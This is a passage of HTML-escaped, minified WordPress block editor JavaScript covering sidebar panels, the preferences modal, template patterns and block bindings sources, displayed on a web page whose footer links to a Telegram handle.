settings.&quot;)}),(0,L.jsx)(Uo.RadioControl,{className:&quot;editor-site-discussion__options&quot;,hideLabelFromVision:!0,label:(0,fs.__)(&quot;Comment status&quot;),options:Hf,onChange:a,selected:t})]})]})})})}function $f({onActionPerformed:e}){const{isRemovedPostStatusPanel:t,postType:s,postId:o}=(0,c.useSelect)((e=&gt;{const{isEditorPanelRemoved:t,getCurrentPostType:s,getCurrentPostId:o}=e(Ac);return{isRemovedPostStatusPanel:t(&quot;post-status&quot;),postType:s(),postId:o()}}),[]);return(0,L.jsx)(Ff,{className:&quot;editor-post-summary&quot;,children:(0,L.jsx)(Iu.Slot,{children:n=&gt;(0,L.jsx)(L.Fragment,{children:(0,L.jsxs)(Uo.__experimentalVStack,{spacing:4,children:[(0,L.jsx)(Rf,{postType:s,postId:o,onActionPerformed:e}),(0,L.jsx)(Ep,{withPanelBody:!1}),(0,L.jsx)(_p,{}),(0,L.jsxs)(Uo.__experimentalVStack,{spacing:1,children:[(0,L.jsx)(Mf,{}),(0,L.jsx)(Of,{})]}),!t&amp;&amp;(0,L.jsxs)(Uo.__experimentalVStack,{spacing:4,children:[(0,L.jsxs)(Uo.__experimentalVStack,{spacing:1,children:[(0,L.jsx)(ih,{}),(0,L.jsx)(ch,{}),(0,L.jsx)(Nh,{}),(0,L.jsx)(Ju,{}),(0,L.jsx)(Gu,{}),(0,L.jsx)(rp,{}),(0,L.jsx)(Ap,{}),(0,L.jsx)(eu,{}),(0,L.jsx)(uh,{}),(0,L.jsx)(zf,{}),(0,L.jsx)(Uf,{}),(0,L.jsx)(Gf,{}),(0,L.jsx)(Lf,{}),n]}),(0,L.jsx)(jh,{onActionPerformed:e})]})]})})})})}const{EXCLUDED_PATTERN_SOURCES:Wf,PATTERN_TYPES:Zf}=$(ln.privateApis);function Yf(e,t){return e.innerBlocks=e.innerBlocks.map((e=&gt;Yf(e,t))),&quot;core/template-part&quot;===e.name&amp;&amp;void 0===e.attributes.theme&amp;&amp;(e.attributes.theme=t),e}function Kf(e,t){return e.filter(((e,s,o)=&gt;((e,t,s)=&gt;t===s.findIndex((t=&gt;e.name===t.name)))(e,s,o)&amp;&amp;(e=&gt;!Wf.includes(e.source))(e)&amp;&amp;(e=&gt;e.templateTypes?.includes(t.slug)||e.blockTypes?.includes(&quot;core/template-part/&quot;+t.area))(e)))}function qf(e,t){return e.map((e=&gt;({...e,keywords:e.keywords||[],type:Zf.theme,blocks:(0,y.parse)(e.content,{__unstableSkipMigrationLogs:!0}).map((e=&gt;Yf(e,t)))})))}function Qf({availableTemplates:e,onSelect:t}){return e&amp;&amp;0!==e?.length?(0,L.jsx)(h.__experimentalBlockPatternsList,{label:(0,fs.__)(&quot;Templates&quot;),blockPatterns:e,onClickPattern:t,showTitlesAsTooltip:!0}):null}function Xf(){const{record:e,postType:t,postId:s}=(0,c.useSelect)((e=&gt;{const{getCurrentPostType:t,getCurrentPostId:s}=e(Ac),{getEditedEntityRecord:o}=e(d.store),n=t(),i=s();return{postType:n,postId:i,record:o(&quot;postType&quot;,n,i)}}),[]),{editEntityRecord:o}=(0,c.useDispatch)(d.store),n=function(e){const{blockPatterns:t,restBlockPatterns:s,currentThemeStylesheet:o}=(0,c.useSelect)((e=&gt;{var t;const{getEditorSettings:s}=e(Ac),o=s();return{blockPatterns:null!==(t=o.__experimentalAdditionalBlockPatterns)&amp;&amp;void 0!==t?t:o.__experimentalBlockPatterns,restBlockPatterns:e(d.store).getBlockPatterns(),currentThemeStylesheet:e(d.store).getCurrentTheme().stylesheet}}),[]);return(0,u.useMemo)((()=&gt;qf(Kf([...t||[],...s||[]],e),e)),[t,s,e,o])}(e);return n?.length?(0,L.jsx)(Uo.PanelBody,{title:(0,fs.__)(&quot;Design&quot;),initialOpen:e.type===B,children:(0,L.jsx)(Qf,{availableTemplates:n,onSelect:async e=&gt;{await o(&quot;postType&quot;,t,s,{blocks:e.blocks,content:(0,y.serialize)(e.blocks)})}})}):null}function Jf(){const{postType:e}=(0,c.useSelect)((e=&gt;{const{getCurrentPostType:t}=e(Ac);return{postType:t()}}),[]);return[B,T].includes(e)?(0,L.jsx)(Xf,{}):null}const eb={document:&quot;edit-post/document&quot;,block:&quot;edit-post/block&quot;},{Tabs:tb}=$(Uo.privateApis),sb=(0,u.forwardRef)(((e,t)=&gt;{const{documentLabel:s}=(0,c.useSelect)((e=&gt;{const{getPostTypeLabel:t}=e(Ac);return{documentLabel:t()||(0,fs._x)(&quot;Document&quot;,&quot;noun, panel&quot;)}}),[]);return(0,L.jsxs)(tb.TabList,{ref:t,children:[(0,L.jsx)(tb.Tab,{tabId:eb.document,&quot;data-tab-id&quot;:eb.document,children:s}),(0,L.jsx)(tb.Tab,{tabId:eb.block,&quot;data-tab-id&quot;:eb.block,children:(0,fs.__)(&quot;Block&quot;)})]})})),{BlockQuickNavigation:ob}=$(h.privateApis),nb=[&quot;core/post-title&quot;,&quot;core/post-featured-image&quot;,&quot;core/post-content&quot;];function ib(){const e=(0,u.useMemo)((()=&gt;(0,m.applyFilters)(&quot;editor.postContentBlockTypes&quot;,nb)),[]),{clientIds:t,postType:s,renderingMode:o}=(0,c.useSelect)((t=&gt;{const{getCurrentPostType:s,getPostBlocksByName:o,getRenderingMode:n}=$(t(Ac)),i=s();return{postType:i,clientIds:o(T===i?&quot;core/template-part&quot;:e),renderingMode:n()}}),[e]),{enableComplementaryArea:n}=(0,c.useDispatch)(Ua);return&quot;post-only&quot;===o&amp;&amp;s!==T||0===t.length?null:(0,L.jsx)(Uo.PanelBody,{title:(0,fs.__)(&quot;Content&quot;),children:(0,L.jsx)(ob,{clientIds:t,onSelect:()=&gt;{n(&quot;core&quot;,&quot;edit-post/document&quot;)}})})}const{BlockQuickNavigation:rb}=$(h.privateApis);function ab(){const e=(0,c.useSelect)((e=&gt;{const{getBlockTypes:t}=e(y.store);return t()}),[]),t=(0,u.useMemo)((()=&gt;e.filter((e=&gt;&quot;theme&quot;===e.category)).map((({name:e})=&gt;e))),[e]),s=(0,c.useSelect)((e=&gt;{const{getBlocksByName:s}=e(h.store);return s(t)}),[t]);return 0===s.length?null:(0,L.jsx)(Uo.PanelBody,{title:(0,fs.__)(&quot;Content&quot;),children:(0,L.jsx)(rb,{clientIds:s})})}function lb(){const e=(0,c.useSelect)((e=&gt;{const{getCurrentPostType:t}=e(Ac);return t()}),[]);return e!==B?null:(0,L.jsx)(ab,{})}const cb=function(){const{hasBlockSelection:e}=(0,c.useSelect)((e=&gt;({hasBlockSelection:!!e(h.store).getBlockSelectionStart()})),[]),{getActiveComplementaryArea:t}=(0,c.useSelect)(Ua),{enableComplementaryArea:s}=(0,c.useDispatch)(Ua),{get:o}=(0,c.useSelect)(k.store);(0,u.useEffect)((()=&gt;{const n=t(&quot;core&quot;),i=[&quot;edit-post/document&quot;,&quot;edit-post/block&quot;].includes(n),r=o(&quot;core&quot;,&quot;distractionFree&quot;);i&amp;&amp;!r&amp;&amp;s(&quot;core&quot;,e?&quot;edit-post/block&quot;:&quot;edit-post/document&quot;)}),[e,t,s,o])},{Tabs:db}=$(Uo.privateApis),ub=u.Platform.select({web:!0,native:!1}),pb=({tabName:e,keyboardShortcut:t,onActionPerformed:s,extraPanels:o})=&gt;{const n=(0,u.useRef)(null),i=(0,u.useContext)(db.Context);return(0,u.useEffect)((()=&gt;{const t=Array.from(n.current?.querySelectorAll(&#039;[role=&quot;tab&quot;]&#039;)||[]),s=t.find((t=&gt;t.getAttribute(&quot;data-tab-id&quot;)===e)),o=s?.ownerDocument.activeElement;t.some((e=&gt;o&amp;&amp;o.id===e.id))&amp;&amp;s&amp;&amp;s.id!==o?.id&amp;&amp;s?.focus()}),[e]),(0,L.jsx)(Lu,{identifier:e,header:(0,L.jsx)(db.Context.Provider,{value:i,children:(0,L.jsx)(sb,{ref:n})}),closeLabel:(0,fs.__)(&quot;Close Settings&quot;),className:&quot;editor-sidebar__panel&quot;,headerClassName:&quot;editor-sidebar__panel-tabs&quot;,title:(0,fs._x)(&quot;Settings&quot;,&quot;panel button label&quot;),toggleShortcut:t,icon:(0,fs.isRTL)()?da:ua,isActiveByDefault:ub,children:(0,L.jsxs)(db.Context.Provider,{value:i,children:[(0,L.jsxs)(db.TabPanel,{tabId:eb.document,focusable:!1,children:[(0,L.jsx)($f,{onActionPerformed:s}),(0,L.jsx)(vu.Slot,{}),(0,L.jsx)(ib,{}),(0,L.jsx)(lb,{}),(0,L.jsx)(Jf,{}),(0,L.jsx)(_h,{}),(0,L.jsx)(wf,{}),o]}),(0,L.jsx)(db.TabPanel,{tabId:eb.block,focusable:!1,children:(0,L.jsx)(h.BlockInspector,{})})]})})},mb=({extraPanels:e,onActionPerformed:t})=&gt;{cb();const{tabName:s,keyboardShortcut:o,showSummary:n}=(0,c.useSelect)((e=&gt;{const t=e(vl.store).getShortcutRepresentation(&quot;core/editor/toggle-sidebar&quot;),s=e(Ua).getActiveComplementaryArea(&quot;core&quot;);let o=s;return[eb.block,eb.document].includes(s)||(o=e(h.store).getBlockSelectionStart()?eb.block:eb.document),{tabName:o,keyboardShortcut:t,showSummary:![T,B,N].includes(e(Ac).getCurrentPostType())}}),[]),{enableComplementaryArea:i}=(0,c.useDispatch)(Ua),r=(0,u.useCallback)((e=&gt;{e&amp;&amp;i(&quot;core&quot;,e)}),[i]);return(0,L.jsx)(db,{selectedTabId:s,onSelect:r,selectOnMove:!1,children:(0,L.jsx)(pb,{tabName:s,keyboardShortcut:o,showSummary:n,onActionPerformed:t,extraPanels:e})})};const hb=function({postType:e,postId:t,templateId:s,settings:o,children:n,initialEdits:i,onActionPerformed:r,extraContent:a,extraSidebarPanels:l,...u}){const{post:p,template:m,hasLoadedPost:h,error:g}=(0,c.useSelect)((o=&gt;{const{getEntityRecord:n,getResolutionError:i,hasFinishedResolution:r}=o(d.store),a=[&quot;postType&quot;,e,t];return{post:n(...a),template:s?n(&quot;postType&quot;,T,s):void 0,hasLoadedPost:r(&quot;getEntityRecord&quot;,a),error:i(&quot;getEntityRecord&quot;,a)?.message}}),[e,t,s]);return(0,L.jsxs)(L.Fragment,{children:[h&amp;&amp;!p&amp;&amp;(0,L.jsx)(Uo.Notice,{status:g?&quot;error&quot;:&quot;warning&quot;,isDismissible:!1,children:g||(0,fs.__)(&quot;You attempted to edit an item that doesn&#039;t exist. Perhaps it was deleted?&quot;)}),!!p&amp;&amp;(0,L.jsxs)(Yl,{post:p,__unstableTemplate:m,settings:o,initialEdits:i,useSubRegistry:!1,children:[(0,L.jsx)(vf,{...u,children:a}),n,(0,L.jsx)(mb,{onActionPerformed:r,extraPanels:l})]})]})},{PreferenceBaseOption:gb}=$(k.privateApis);function _b(e){const t=(0,c.useSelect)((e=&gt;e(Ac).isPublishSidebarEnabled()),[]),{enablePublishSidebar:s,disablePublishSidebar:o}=(0,c.useDispatch)(Ac);return(0,L.jsx)(gb,{isChecked:t,onChange:e=&gt;e?s():o(),...e})}const{BlockManager:fb}=$(h.privateApis),bb=[];function yb(){const{showBlockTypes:e,hideBlockTypes:t}=$((0,c.useDispatch)(Ac)),{blockTypes:s,allowedBlockTypes:o,hiddenBlockTypes:n}=(0,c.useSelect)((e=&gt;{var t;return{blockTypes:e(y.store).getBlockTypes(),allowedBlockTypes:e(Ac).getEditorSettings().allowedBlockTypes,hiddenBlockTypes:null!==(t=e(k.store).get(&quot;core&quot;,&quot;hiddenBlockTypes&quot;))&amp;&amp;void 0!==t?t:bb}}),[]),i=(0,u.useMemo)((()=&gt;!0===o?s:s.filter((({name:e})=&gt;o?.includes(e)))),[o,s]).filter((e=&gt;(0,y.hasBlockSupport)(e,&quot;inserter&quot;,!0)&amp;&amp;(!e.parent||e.parent.includes(&quot;core/post-content&quot;)))),r=n.filter((e=&gt;i.some((t=&gt;t.name===e)))),a=i.filter((e=&gt;!r.includes(e.name)));return(0,L.jsx)(fb,{blockTypes:i,selectedBlockTypes:a,onChange:s=&gt;{if(a.length&gt;s.length){const e=a.filter((e=&gt;!s.find((({name:t})=&gt;t===e.name))));t(e.map((({name:e})=&gt;e)))}else if(a.length&lt;s.length){const t=s.filter((e=&gt;!a.find((({name:t})=&gt;t===e.name))));e(t.map((({name:e})=&gt;e)))}}})}const{PreferencesModal:xb,PreferencesModalTabs:vb,PreferencesModalSection:Sb,PreferenceToggleControl:wb}=$(k.privateApis);function kb({extraSections:e={}}){const t=(0,p.useViewportMatch)(&quot;medium&quot;),s=(0,c.useSelect)((e=&gt;{const{getEditorSettings:s}=e(Ac),{get:o}=e(k.store),n=s().richEditingEnabled;return!o(&quot;core&quot;,&quot;distractionFree&quot;)&amp;&amp;t&amp;&amp;n}),[t]),{setIsListViewOpened:o,setIsInserterOpened:n}=(0,c.useDispatch)(Ac),{set:i}=(0,c.useDispatch)(k.store),r=(0,u.useMemo)((()=&gt;[{name:&quot;general&quot;,tabLabel:(0,fs.__)(&quot;General&quot;),content:(0,L.jsxs)(L.Fragment,{children:[(0,L.jsxs)(Sb,{title:(0,fs.__)(&quot;Interface&quot;),children:[(0,L.jsx)(wb,{scope:&quot;core&quot;,featureName:&quot;showListViewByDefault&quot;,help:(0,fs.__)(&quot;Opens the List View panel by default.&quot;),label:(0,fs.__)(&quot;Always open List View&quot;)}),s&amp;&amp;(0,L.jsx)(wb,{scope:&quot;core&quot;,featureName:&quot;showBlockBreadcrumbs&quot;,help:(0,fs.__)(&quot;Display the block hierarchy trail at the bottom of the editor.&quot;),label:(0,fs.__)(&quot;Show block breadcrumbs&quot;)}),(0,L.jsx)(wb,{scope:&quot;core&quot;,featureName:&quot;allowRightClickOverrides&quot;,help:(0,fs.__)(&quot;Allows contextual List View menus via right-click, overriding browser defaults.&quot;),label:(0,fs.__)(&quot;Allow right-click contextual menus&quot;)}),(0,L.jsx)(wb,{scope:&quot;core&quot;,featureName:&quot;enableChoosePatternModal&quot;,help:(0,fs.__)(&quot;Shows starter patterns when creating a new page.&quot;),label:(0,fs.__)(&quot;Show starter patterns&quot;)})]}),(0,L.jsxs)(Sb,{title:(0,fs.__)(&quot;Document settings&quot;),description:(0,fs.__)(&quot;Select what settings are shown in the document panel.&quot;),children:[(0,L.jsx)(fu.Slot,{}),(0,L.jsx)(mh,{taxonomyWrapper:(e,t)=&gt;(0,L.jsx)(mu,{label:t.labels.menu_name,panelName:`taxonomy-panel-${t.slug}`})}),(0,L.jsx)(yp,{children:(0,L.jsx)(mu,{label:(0,fs.__)(&quot;Featured image&quot;),panelName:&quot;featured-image&quot;})}),(0,L.jsx)(lp,{children:(0,L.jsx)(mu,{label:(0,fs.__)(&quot;Excerpt&quot;),panelName:&quot;post-excerpt&quot;})}),(0,L.jsx)(Od,{supportKeys:[&quot;comments&quot;,&quot;trackbacks&quot;],children:(0,L.jsx)(mu,{label:(0,fs.__)(&quot;Discussion&quot;),panelName:&quot;discussion-panel&quot;})}),(0,L.jsx)(Ld,{children:(0,L.jsx)(mu,{label:(0,fs.__)(&quot;Page attributes&quot;),panelName:&quot;page-attributes&quot;})})]}),t&amp;&amp;(0,L.jsx)(Sb,{title:(0,fs.__)(&quot;Publishing&quot;),children:(0,L.jsx)(_b,{help:(0,fs.__)(&quot;Review settings, such as visibility and tags.&quot;),label:(0,fs.__)(&quot;Enable pre-publish checks&quot;)})}),e?.general]})},{name:&quot;appearance&quot;,tabLabel:(0,fs.__)(&quot;Appearance&quot;),content:(0,L.jsxs)(Sb,{title:(0,fs.__)(&quot;Appearance&quot;),description:(0,fs.__)(&quot;Customize the editor interface to suit your needs.&quot;),children:[(0,L.jsx)(wb,{scope:&quot;core&quot;,featureName:&quot;fixedToolbar&quot;,onToggle:()=&gt;i(&quot;core&quot;,&quot;distractionFree&quot;,!1),help:(0,fs.__)(&quot;Access all block and document tools in a single place.&quot;),label:(0,fs.__)(&quot;Top toolbar&quot;)}),(0,L.jsx)(wb,{scope:&quot;core&quot;,featureName:&quot;distractionFree&quot;,onToggle:()=&gt;{i(&quot;core&quot;,&quot;fixedToolbar&quot;,!0),n(!1),o(!1)},help:(0,fs.__)(&quot;Reduce visual distractions by hiding the toolbar and other elements to focus on writing.&quot;),label:(0,fs.__)(&quot;Distraction free&quot;)}),(0,L.jsx)(wb,{scope:&quot;core&quot;,featureName:&quot;focusMode&quot;,help:(0,fs.__)(&quot;Highlights the current block and fades other content.&quot;),label:(0,fs.__)(&quot;Spotlight mode&quot;)}),e?.appearance]})},{name:&quot;accessibility&quot;,tabLabel:(0,fs.__)(&quot;Accessibility&quot;),content:(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Sb,{title:(0,fs.__)(&quot;Navigation&quot;),description:(0,fs.__)(&quot;Optimize the editing experience for enhanced control.&quot;),children:(0,L.jsx)(wb,{scope:&quot;core&quot;,featureName:&quot;keepCaretInsideBlock&quot;,help:(0,fs.__)(&quot;Keeps the text cursor within blocks while navigating with arrow keys, preventing it from moving to other blocks and enhancing accessibility for keyboard users.&quot;),label:(0,fs.__)(&quot;Contain text cursor inside block&quot;)})}),(0,L.jsx)(Sb,{title:(0,fs.__)(&quot;Interface&quot;),children:(0,L.jsx)(wb,{scope:&quot;core&quot;,featureName:&quot;showIconLabels&quot;,label:(0,fs.__)(&quot;Show button text labels&quot;),help:(0,fs.__)(&quot;Show text instead of icons on buttons across the interface.&quot;)})})]})},{name:&quot;blocks&quot;,tabLabel:(0,fs.__)(&quot;Blocks&quot;),content:(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Sb,{title:(0,fs.__)(&quot;Inserter&quot;),children:(0,L.jsx)(wb,{scope:&quot;core&quot;,featureName:&quot;mostUsedBlocks&quot;,help:(0,fs.__)(&quot;Adds a category with the most frequently used blocks in the inserter.&quot;),label:(0,fs.__)(&quot;Show most used blocks&quot;)})}),(0,L.jsx)(Sb,{title:(0,fs.__)(&quot;Manage block visibility&quot;),description:(0,fs.__)(&quot;Disable blocks that you don&#039;t want to appear in the inserter. They can always be toggled back on later.&quot;),children:(0,L.jsx)(yb,{})})]})},window.__experimentalMediaProcessing&amp;&amp;{name:&quot;media&quot;,tabLabel:(0,fs.__)(&quot;Media&quot;),content:(0,L.jsx)(L.Fragment,{children:(0,L.jsxs)(Sb,{title:(0,fs.__)(&quot;General&quot;),description:(0,fs.__)(&quot;Customize options related to the media upload flow.&quot;),children:[(0,L.jsx)(wb,{scope:&quot;core/media&quot;,featureName:&quot;optimizeOnUpload&quot;,help:(0,fs.__)(&quot;Compress media items before uploading to the server.&quot;),label:(0,fs.__)(&quot;Pre-upload compression&quot;)}),(0,L.jsx)(wb,{scope:&quot;core/media&quot;,featureName:&quot;requireApproval&quot;,help:(0,fs.__)(&quot;Require approval step when optimizing existing media.&quot;),label:(0,fs.__)(&quot;Approval step&quot;)})]})})}].filter(Boolean)),[s,e,n,o,i,t]);return(0,L.jsx)(vb,{sections:r})}const Cb=function({postType:e}){const{registerPostTypeSchema:t}=$((0,c.useDispatch)(Ac));(0,u.useEffect)((()=&gt;{t(e)}),[t,e]);const{defaultFields:s}=(0,c.useSelect)((t=&gt;{const{getEntityFields:s}=$(t(Ac));return{defaultFields:s(&quot;postType&quot;,e)}}),[e]),{records:o,isResolving:n}=(0,d.useEntityRecords)(&quot;root&quot;,&quot;user&quot;,{per_page:-1});return{isLoading:n,fields:(0,u.useMemo)((()=&gt;s.map((e=&gt;&quot;author&quot;===e.id?{...e,elements:o?.map((({id:e,name:t})=&gt;({value:e,label:t})))}:e))),[o,s])}},Pb=&quot;content&quot;,jb={name:&quot;core/pattern-overrides&quot;,getValues({select:e,clientId:t,context:s,bindings:o}){const n=s[&quot;pattern/overrides&quot;],{getBlockAttributes:i}=e(h.store),r=i(t),a={};for(const e of Object.keys(o)){const t=n?.[r?.metadata?.name]?.[e];void 0!==t?a[e]=&quot;&quot;===t?void 0:t:a[e]=r[e]}return a},setValues({select:e,dispatch:t,clientId:s,bindings:o}){const{getBlockAttributes:n,getBlockParentsByBlockName:i,getBlocks:r}=e(h.store),a=n(s),l=a?.metadata?.name;if(!l)return;const[c]=i(s,&quot;core/block&quot;,!0),d=Object.entries(o).reduce(((e,[t,{newValue:s}])=&gt;(e[t]=s,e)),{});if(!c){const e=s=&gt;{for(const o of s)o.attributes?.metadata?.name===l&amp;&amp;t(h.store).updateBlockAttributes(o.clientId,d),e(o.innerBlocks)};return void e(r())}const u=n(c)?.[Pb];t(h.store).updateBlockAttributes(c,{[Pb]:{...u,[l]:{...u?.[l],...Object.entries(d).reduce(((e,[t,s])=&gt;(e[t]=void 0===s?&quot;&quot;:s,e)),{})}}})},canUserEditValue:()=&gt;!0};function Eb(e,t){const{getEditedEntityRecord:s}=e(d.store),{getRegisteredPostMeta:o}=$(e(d.store));let n;t?.postType&amp;&amp;t?.postId&amp;&amp;(n=s(&quot;postType&quot;,t?.postType,t?.postId).meta);const i=o(t?.postType),r={};return Object.entries(i||{}).forEach((([e,t])=&gt;{var s;&quot;footnotes&quot;!==e&amp;&amp;&quot;_&quot;!==e.charAt(0)&amp;&amp;(r[e]={label:t.title||e,value:null!==(s=n?.[e])&amp;&amp;void 0!==s?s:t.default||void 0,type:t.type})})),Object.keys(r||{}).length?r:null}const Tb={name:&quot;core/post-meta&quot;,getValues({select:e,context:t,bindings:s}){const o=Eb(e,t),n={};for(const[e,t]of Object.entries(s)){var i;const s=t.args.key,{value:r,label:a}=o?.[s]||{};n[e]=null!==(i=null!=r?r:a)&amp;&amp;void 0!==i?i:s}return n},setValues({dispatch:e,context:t,bindings:s}){const o={};Object.values(s).forEach((({args:e,newValue:t})=&gt;{o[e.key]=t})),e(d.store).editEntityRecord(&quot;postType&quot;,t?.postType,t?.postId,{meta:o})},canUserEditValue({select:e,context:t,args:s}){if(t?.query||t?.queryId)return!1;if(!t?.postType)return!1;const o=Eb(e,t)?.[s.key]?.value;if(void 0===o)return!1;if(e(Ac).getEditorSettings().enableCustomFields)return!1;return!!e(d.store).canUser(&quot;update&quot;,{kind:&quot;postType&quot;,name:t?.postType,id:t?.postId})},getFieldsList:({select:e,context:t})=&gt;Eb(e,t)};const{store:Bb,...Ib}=r,Nb={};function Db(e,t,s){const{registerEntityAction:o}=$((0,c.dispatch)(Ac))}function Ab(e,t,s){const{unregisterEntityAction:o}=$((0,c.dispatch)(Ac))}function Rb(e,t,s){const{registerEntityField:o}=$((0,c.dispatch)(Ac))}function Mb(e,t,s){const{unregisterEntityField:o}=$((0,c.dispatch)(Ac))}G(Nb,{CreateTemplatePartModal:Jo,patternTitleField:xr,templateTitleField:_r,BackButton:t_,EntitiesSavedStatesExtensible:Ed,Editor:hb,EditorContentSlotFill:qg,GlobalStylesProvider:function({children:e}){const t=Wr();return t.isReady?(0,L.jsx)(Hr.Provider,{value:t,children:e}):null},mergeBaseAndUserConfigs:$r,PluginPostExcerpt:pp,PostCardPanel:Rf,PreferencesModal:function({extraSections:e={}}){const t=(0,c.useSelect)((e=&gt;e(Ua).isModalActive(&quot;editor/preferences&quot;)),[]),{closeModal:s}=(0,c.useDispatch)(Ua);return t?(0,L.jsx)(xb,{closeModal:s,children:(0,L.jsx)(kb,{extraSections:e})}):null},usePostActions:jf,usePostFields:Cb,ToolsMoreMenuGroup:E_,ViewMoreMenuGroup:I_,ResizableEditor:rf,registerCoreBlockBindingsSources:function(){(0,y.registerBlockBindingsSource)(jb),(0,y.registerBlockBindingsSource)(Tb)},getTemplateInfo:Y,interfaceStore:Bb,...Ib})})(),(window.wp=window.wp||{}).editor=o})();</pre></div><div class="footer">

                        <a href="https://t.me/HEX80" class="telegram-link" target="_blank">

                            <span>@</span>

                            <span>Telegram</span>

                        </a>

                      </div>